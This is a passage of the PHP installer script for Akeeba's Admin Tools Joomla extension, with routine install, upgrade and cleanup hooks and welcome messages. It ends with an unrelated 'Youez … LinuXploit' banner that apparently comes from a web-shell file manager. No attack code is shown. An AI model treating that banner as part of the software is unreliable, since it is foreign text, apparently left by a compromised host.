			'administrator/components/com_admintools/View/QuickStart/tmpl',
			'administrator/components/com_admintools/View/Redirections/tmpl',
			'administrator/components/com_admintools/View/SEOAndLinkTools/tmpl',
			'administrator/components/com_admintools/View/ScanAlerts/tmpl',
			'administrator/components/com_admintools/View/Scans/tmpl',
			'administrator/components/com_admintools/View/SchedulingInformation/tmpl',
			'administrator/components/com_admintools/View/SecurityExceptions/tmpl',
			'administrator/components/com_admintools/View/TempSuperUsers/tmpl',
			'administrator/components/com_admintools/View/UnblockIP/tmpl',
			'administrator/components/com_admintools/View/WAFBlacklistedRequests/tmpl',
			'administrator/components/com_admintools/View/WAFEmailTemplates/tmpl',
			'administrator/components/com_admintools/View/WebApplicationFirewall/tmpl',
			'administrator/components/com_admintools/View/WebConfigMaker/tmpl',
			'administrator/components/com_admintools/View/WhitelistedAddresses/tmpl',
			'administrator/components/com_admintools/ViewTemplates',
		],
	];

	/**
	 * The list of obsolete extra modules and plugins to uninstall on component upgrade / installation.
	 *
	 * @var array
	 */
	protected $uninstallation_queue = [
		// modules => { (folder) => { (module) }* }*
		'modules' => [
			'admin' => [],
			'site'  => [],
		],
		// plugins => { (folder) => { (element) }* }*
		'plugins' => [
			'system' => [
				'atoolsjupdatecheck',
			],
		],
	];


	/**
	 * Runs on installation
	 *
	 * @param   ComponentAdapter  $parent  The parent object
	 *
	 * @return  void
	 */
	public function install($parent)
	{
		if (!defined('ADMINTOOLS_THIS_IS_INSTALLATION_FROM_SCRATCH'))
		{
			define('ADMINTOOLS_THIS_IS_INSTALLATION_FROM_SCRATCH', 1);
		}
	}

	/**
	 * Joomla! pre-flight event. This runs before Joomla! installs or updates the component. This is our last chance to
	 * tell Joomla! if it should abort the installation.
	 *
	 * @param   string            $type                                  Installation type (install, update,
	 *                                                                   discover_install)
	 * @param   ComponentAdapter  $parent                                Parent object
	 *
	 * @return  boolean  True to let the installation proceed, false to halt the installation
	 */
	public function preflight(string $type, ComponentAdapter $parent): bool
	{
		$this->isPaid = is_dir($parent->getParent()->getPath('source') . '/backend/engine');

		return parent::preflight($type, $parent);
	}

	/**
	 * Runs after install, update or discover_update
	 *
	 * @param   string            $type  install, update or discover_update
	 * @param   ComponentAdapter  $parent
	 *
	 * @return  boolean  True to let the installation proceed, false to halt the installation
	 */
	public function postflight(string $type, ComponentAdapter $parent): void
	{
		// Let's install common tables
		$container = null;
		$model     = null;

		if (class_exists('FOF40\\Container\\Container'))
		{
			try
			{
				$container = Container::getInstance('com_admintools');
			}
			catch (Exception $e)
			{
				$container = null;
			}
		}

		if (is_object($container) && class_exists('FOF40\\Container\\Container') && ($container instanceof Container))
		{
			/** @var Stats $model */
			try
			{
				$model = $container->factory->model('Stats')->tmpInstance();
			}
			catch (Exception $e)
			{
				$model = null;
			}
		}

		// Parent method
		parent::postflight($type, $parent);

		// Add ourselves to the list of extensions depending on Akeeba FEF
		$this->addDependency('file_fef', $this->componentName);

		// Uninstall post-installation messages we are no longer using
		$this->uninstallObsoletePostinstallMessages();

		// Remove the update sites for this component on installation. The update sites are now handled at the package
		// level.
		$this->removeObsoleteUpdateSites($parent);

		// Remove the FOF 2.x update sites (annoying leftovers)
		$this->removeFOFUpdateSites();

		// If this is an update set the configuration wizard flag on update (so as not to bother existing users)
		if (!defined('ADMINTOOLS_THIS_IS_INSTALLATION_FROM_SCRATCH'))
		{
			if (!class_exists('Akeeba\\AdminTools\\Admin\\Helper\\Storage'))
			{
				@include_once $parent->getParent()->getPath('source') . '/backend/Helper/Storage.php';
			}

			if (class_exists('Akeeba\\AdminTools\\Admin\\Helper\\Storage'))
			{
				$params = new Storage();
				$params->load();
				$params->setValue('quickstart', 1, true);
			}
		}

		/**
		 * Code to execute only on updates
		 */

		if (!defined('ADMINTOOLS_THIS_IS_INSTALLATION_FROM_SCRATCH'))
		{
			$this->_upgradeDisableMonitorSuperUsers($parent);

			$this->_upgradeRemoveObsoleteLoginSecurityLogEntries($parent);

			$this->_upgradeDeleteTextLogfiles();

			$this->migrateIpWorkarounds($container);
		}

		// Replace the system plugin with the actionlog plugin for logging user actions
		$this->switchActionLogPlugins();
	}

	/**
	 * Renders the post-installation message
	 */
	protected function renderPostInstallation(ComponentAdapter $parent): void
	{
		try
		{
			$this->warnAboutJSNPowerAdmin();
		}
		catch (Exception $e)
		{
			// Don't sweat if the site's db croaks while I'm checking for 3PD software that causes trouble
		}

		// Load the version file
		if (!defined('ADMINTOOLS_PRO'))
		{
			@include_once JPATH_ADMINISTRATOR . '/components/com_admintools/version.php';
		}

		if (!defined('ADMINTOOLS_PRO'))
		{
			define('ADMINTOOLS_PRO', '0');
		}

		?>
		<img src="../administrator/components/com_admintools/media/images/admintools-48.png" width="48" height="48"
			 alt="Admin Tools" align="right" />

		<h2>Welcome to Admin Tools!</h2>

		<fieldset>
			<?php if (ADMINTOOLS_PRO): ?>
				<p>
					We strongly recommend watching our <a
							href="https://www.akeeba.com/videos/1207-admin-tools.html">video
						tutorials</a> before using this component.
				</p>

				<p>
					If this is the first time you install Admin Tools on your site please run the
					<a href="index.php?option=com_admintools&view=QuickStart">Quick Setup Wizard</a>. It will guide you
					through
					tailoring Admin Tools for your site. <strong>Pay attention to the messages on that page. They
						contain
						information to unblock yourself should you inadvertently block yourself out of your
						site!</strong>
				</p>
			<?php endif; ?>

			<p>
				By installing this component you are implicitly accepting
				<a href="https://www.akeeba.com/license.html">its license (GNU GPLv3)</a> and our
				<a href="https://www.akeeba.com/privacy-policy.html">Terms of Service</a>,
				including our Support Policy.
			</p>
		</fieldset>

		<?php
		// Let's install common tables
		$container = null;
		$model     = null;

		if (class_exists('FOF40\\Container\\Container'))
		{
			try
			{
				$container = Container::getInstance('com_admintools');
			}
			catch (Exception $e)
			{
				$container = null;
			}
		}

		if (is_object($container) && class_exists('FOF40\\Container\\Container') && ($container instanceof Container))
		{
			/** @var Stats $model */
			try
			{
				$model = $container->factory->model('Stats')->tmpInstance();
			}
			catch (Exception $e)
			{
				$model = null;
			}
		}

		/** @var Stats $model */
		try
		{
			if (is_object($model) && class_exists('Akeeba\\AdminTools\\Admin\\Model\\Stats')
				&& ($model instanceof Akeeba\AdminTools\Admin\Model\Stats)
				&& method_exists($model, 'collectStatistics'))
			{
				$iframe = $model->collectStatistics(true);

				if ($iframe)
				{
					echo $iframe;
				}
			}
		}
		catch (Exception $e)
		{
		}
	}

	protected function renderPostUninstallation(ComponentAdapter $parent): void
	{
		?>
		<h2>Admin Tools Uninstallation Status</h2>
		<p>We are sorry that you decided to uninstall Admin Tools. Please let us know why by using the <a
					href="https://www.akeeba.com/contact-us.html" target="_blank">Contact Us form on our site</a>.
			We
			appreciate your feedback; it helps us develop better software!</p>
		<?php
	}

	/**
	 * Removes obsolete update sites created for the component (we are now using an update site for the package, not the
	 * component).
	 *
	 * @param   ComponentAdapter  $parent  The parent installer
	 */
	protected function removeObsoleteUpdateSites($parent)
	{
		$db = $parent->getParent()->getDBO();

		$query = $db->getQuery(true)
			->select($db->qn('extension_id'))
			->from($db->qn('#__extensions'))
			->where($db->qn('type') . ' = ' . $db->q('component'))
			->where($db->qn('name') . ' = ' . $db->q($this->componentName));

		try
		{
			$extensionId = $db->setQuery($query)->loadResult();
		}
		catch (Exception $e)
		{
			// Your database is broken.
			return;
		}

		if (!$extensionId)
		{
			return;
		}

		$query = $db->getQuery(true)
			->select($db->qn('update_site_id'))
			->from($db->qn('#__update_sites_extensions'))
			->where($db->qn('extension_id') . ' = ' . $db->q($extensionId));

		try
		{
			$ids = $db->setQuery($query)->loadColumn(0);
		}
		catch (Exception $e)
		{
			// Your database is broken.
			return;
		}

		if (!is_array($ids) && empty($ids))
		{
			return;
		}

		foreach ($ids as $id)
		{
			$query = $db->getQuery(true)
				->delete($db->qn('#__update_sites'))
				->where($db->qn('update_site_id') . ' = ' . $db->q($id));
			$db->setQuery($query);

			try
			{
				$db->execute();
			}
			catch (Exception $e)
			{
				// Do not fail in this case
			}
		}
	}

	/**
	 * The PowerAdmin extension makes menu items disappear. People assume it's our fault. JSN PowerAdmin authors don't
	 * own up to their software's issue. I have no choice but to warn our users about the faulty third party software.
	 */
	private function warnAboutJSNPowerAdmin()
	{
		$db = Factory::getDbo();

		$query         = $db->getQuery(true)
			->select('COUNT(*)')
			->from($db->qn('#__extensions'))
			->where($db->qn('type') . ' = ' . $db->q('component'))
			->where($db->qn('element') . ' = ' . $db->q('com_poweradmin'))
			->where($db->qn('enabled') . ' = ' . $db->q('1'));
		$hasPowerAdmin = $db->setQuery($query)->loadResult();

		if (!$hasPowerAdmin)
		{
			return;
		}

		$query      = $db->getQuery(true)
			->select('manifest_cache')
			->from($db->qn('#__extensions'))
			->where($db->qn('type') . ' = ' . $db->q('component'))
			->where($db->qn('element') . ' = ' . $db->q('com_poweradmin'))
			->where($db->qn('enabled') . ' = ' . $db->q('1'));
		$paramsJson = $db->setQuery($query)->loadResult();

		$className = class_exists('JRegistry') ? 'JRegistry' : '\Joomla\Registry\Registry';

		/** @var Registry $jsnPAManifest */
		$jsnPAManifest = new $className();
		$jsnPAManifest->loadString($paramsJson, 'JSON');
		$version = $jsnPAManifest->get('version', '0.0.0');

		if (version_compare($version, '2.1.2', 'ge'))
		{
			return;
		}

		echo <<< HTML
<div class="well" style="margin: 2em 0;">
<h1 style="font-size: 32pt; line-height: 120%; color: red; margin-bottom: 1em">WARNING: Menu items for {$this->componentName} might not be displayed on your site.</h1>
<p style="font-size: 18pt; line-height: 150%; margin-bottom: 1.5em">
	We have detected that you are using JSN PowerAdmin on your site. This software ignores Joomla! standards and
	<b>hides</b> the Component menu items to {$this->componentName} in the administrator backend of your site. Unfortunately we
	can't provide support for third party software. Please contact the developers of JSN PowerAdmin for support
	regarding this issue.
</p>
<p style="font-size: 18pt; line-height: 120%; color: green;">
	Tip: You can disable JSN PowerAdmin to see the menu items to Akeeba Backup.
</p>
</div>

HTML;

	}

	/**
	 * Remove FOF 2.x update sites
	 */
	private function removeFOFUpdateSites()
	{
		$db    = Factory::getDbo();
		$query = $db->getQuery(true)
			->delete($db->qn('#__update_sites'))
			->where($db->qn('location') . ' = ' . $db->q('http://cdn.akeebabackup.com/updates/fof.xml'));
		try
		{
			$db->setQuery($query)->execute();
		}
		catch (Exception $e)
		{
			// Do nothing on failure
		}

	}

	private function uninstallObsoletePostinstallMessages()
	{
		$db = Factory::getDbo();

		$obsoleteTitleKeys = [
			'COM_ADMINTOOLS_POSTSETUP_LBL_AUTOJUPDATE',
			'COM_ADMINTOOLS_POSTSETUP_LBL_ACCEPTLICENSE',
			'COM_ADMINTOOLS_POSTSETUP_LBL_ACCEPTSUPPORT',
		];

		foreach ($obsoleteTitleKeys as $obsoleteKey)
		{

			// Remove the "Upgrade profiles to ANGIE" post-installation message
			$query = $db->getQuery(true)
				->delete($db->qn('#__postinstall_messages'))
				->where($db->qn('title_key') . ' = ' . $db->q($obsoleteKey));
			try
			{
				$db->setQuery($query)->execute();
			}
			catch (Exception $e)
			{
				// Do nothing
			}
		}
	}

	/**
	 * If this is an update, disable the "Monitor Super User accounts" feature. It only happens ONCE. This will
	 * prevent people from complaining about this feature doing exactly what it's supposed to do.
	 *
	 * @param   ComponentAdapter  $parent
	 *
	 * @return  void
	 *
	 * @since   5.0.0
	 */
	private function _upgradeDisableMonitorSuperUsers($parent)
	{
		if (!class_exists('Akeeba\\AdminTools\\Admin\\Helper\\Storage'))
		{
			@include_once $parent->getParent()->getPath('source') . '/backend/Helper/Storage.php';
		}

		if (!class_exists('Akeeba\\AdminTools\\Admin\\Helper\\Storage'))
		{
			return;
		}

		$params = new Storage();
		$params->load();


		if ($params->getValue('disabled_superuserslist', 0) != 0)
		{
			return;
		}

		$params->setValue('superuserslist', 0, false);
		$params->setValue('disabled_superuserslist', 1, true);
	}

	/**
	 * If this is an update, find the security exception logs for failed logins which may have contained failed
	 * login passwords and remove them from the database.
	 *
	 * @param   ComponentAdapter  $parent
	 *
	 * @return  void
	 *
	 * @since   5.1.0
	 */
	private function _upgradeRemoveObsoleteLoginSecurityLogEntries($parent)
	{
		if (!class_exists('Akeeba\\AdminTools\\Admin\\Helper\\Storage'))
		{
			@include_once $parent->getParent()->getPath('source') . '/backend/Helper/Storage.php';
		}

		if (!class_exists('Akeeba\\AdminTools\\Admin\\Helper\\Storage'))
		{
			return;
		}

		$params = new Storage();
		$params->load();

		if ($params->getValue('showpwonloginfailure', 0) != 1)
		{
			return;
		}

		// Delete existing records
		$db    = Factory::getDbo();
		$query = $db->getQuery(true)
			->delete($db->qn('#__admintools_log'))
			->where($db->qn('reason') . ' = ' . $db->q('loginfailure'))
			->where($db->qn('reason') . ' = ' . $db->q('loginfailure'))
			->where($db->qn('extradata') . ' LIKE ' . $db->q('%Password%'));

		try
		{
			$db->setQuery($query)->execute();
		}
		catch (Exception $e)
		{
			// Don't die if that fails
		}

		$params->setValue('showpwonloginfailure', 0, true);
	}

	/**
	 * Delete the old style Admin Tools text log files with a .log extension
	 *
	 * @since   5.1.0
	 */
	private function _upgradeDeleteTextLogfiles()
	{
		$logpath = Factory::getConfig()->get('log_path');
		$files   = [
			$logpath . DIRECTORY_SEPARATOR . 'admintools_breaches.log',
			$logpath . DIRECTORY_SEPARATOR . 'admintools_breaches.log.1',
		];

		foreach ($files as $file)
		{
			if (!@file_exists($file))
			{
				continue;
			}

			if (@unlink($file))
			{
				continue;
			}

			\Joomla\CMS\Filesystem\File::delete($file);
		}
	}

	/**
	 * If IP Workarounds are set to No, migrate them to Auto
	 *
	 * @param   Container  $container
	 */
	private function migrateIpWorkarounds($container)
	{
		/**
		 * The ConfigureWAF model does not exist in the Core version. Moreover, the Core version lacks the IP
		 * Workarounds feature. It makes no sense running this when installing Core. Worse, since the model is not
		 * present it causes an installation failure.
		 */
		if (!$this->isPaid)
		{
			return;
		}

		// Value already migrated, stop here
		if ($container->params->get('ipworkarounds_migrated', 0))
		{
			return;
		}

		/** @var ConfigureWAF $wafModel */
		$wafModel = $container->factory->model('ConfigureWAF');
		$wafModel->migrateIpWorkarounds();

		// Finally save the flag so we won't do it again
		$container->params->set('ipworkarounds_migrated', 1);
		$container->params->save();
	}

	private function switchActionLogPlugins()
	{
		$db = Factory::getDbo();

		// Does the plg_system_admintoolsactionlog plugin exist? If not, there's nothing to do here.
		$query = $db->getQuery(true)
			->select('*')
			->from('#__extensions')
			->where($db->qn('type') . ' = ' . $db->q('plugin'))
			->where($db->qn('folder') . ' = ' . $db->q('system'))
			->where($db->qn('element') . ' = ' . $db->q('admintoolsactionlog'));
		try
		{
			$result = $db->setQuery($query)->loadAssoc();

			if (empty($result))
			{
				return;
			}

			$eid = $result['extension_id'];
		}
		catch (Exception $e)
		{
			return;
		}

		// If plg_system_admintoolsactionlog is enabled: enable plg_actionlog_admintools
		if (PluginHelper::isEnabled('system', 'admintoolsactionlog'))
		{
			$query = $db->getQuery(true)
				->update($db->qn('#__extensions'))
				->set($db->qn('enabled') . ' = ' . $db->q(1))
				->where($db->qn('type') . ' = ' . $db->q('plugin'))
				->where($db->qn('folder') . ' = ' . $db->q('actionlog'))
				->where($db->qn('element') . ' = ' . $db->q('admintools'));
			try
			{
				$db->setQuery($query)->execute();
			}
			catch (Exception $e)
			{
			}
		}

		// Deactivate plg_system_admintoolsactionlog
		$query = $db->getQuery(true)
			->update($db->qn('#__extensions'))
			->set($db->qn('enabled') . ' = ' . $db->q(0))
			->where($db->qn('type') . ' = ' . $db->q('plugin'))
			->where($db->qn('folder') . ' = ' . $db->q('system'))
			->where($db->qn('element') . ' = ' . $db->q('admintoolsactionlog'));
		try
		{
			$db->setQuery($query)->execute();
		}
		catch (Exception $e)
		{
		}

		/**
		 * Here's a bummer. If you try to uninstall the plg_system_admintoolsactionlog plugin Joomla throws a nonsensical
		 * error message about the plugin's XML manifest missing -- after it has already uninstalled the plugin! This
		 * error causes the package installation to fail which results in the extension being installed BUT the database
		 * record of the package NOT being present which makes it impossible to uninstall.
		 *
		 * So I have to hack my way around it which is ugly but the only viable alternative :(
		 */
		try
		{
			// Safely delete the row in the extensions table
			$row = Table::getInstance('extension');
			$row->load((int) $eid);
			$row->delete($eid);

			// Delete the plugin's files
			$pluginPath = JPATH_PLUGINS . '/system/admintoolsactionlog';

			if (is_dir($pluginPath))
			{
				Folder::delete($pluginPath);
			}

			// Delete the plugin's language files
			$langFiles = [
				JPATH_ADMINISTRATOR . '/language/en-GB/en-GB.plg_system_admintoolsactionlog.ini',
				JPATH_ADMINISTRATOR . '/language/en-GB/en-GB.plg_system_admintoolsactionlog.sys.ini',
			];

			foreach ($langFiles as $file)
			{
				if (@is_file($file))
				{
					\Joomla\CMS\Filesystem\File::delete($file);
				}
			}
		}
		catch (Exception $e)
		{
			// I tried, I failed. Dear user, do NOT try to enable that old plugin. Bye!
		}
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit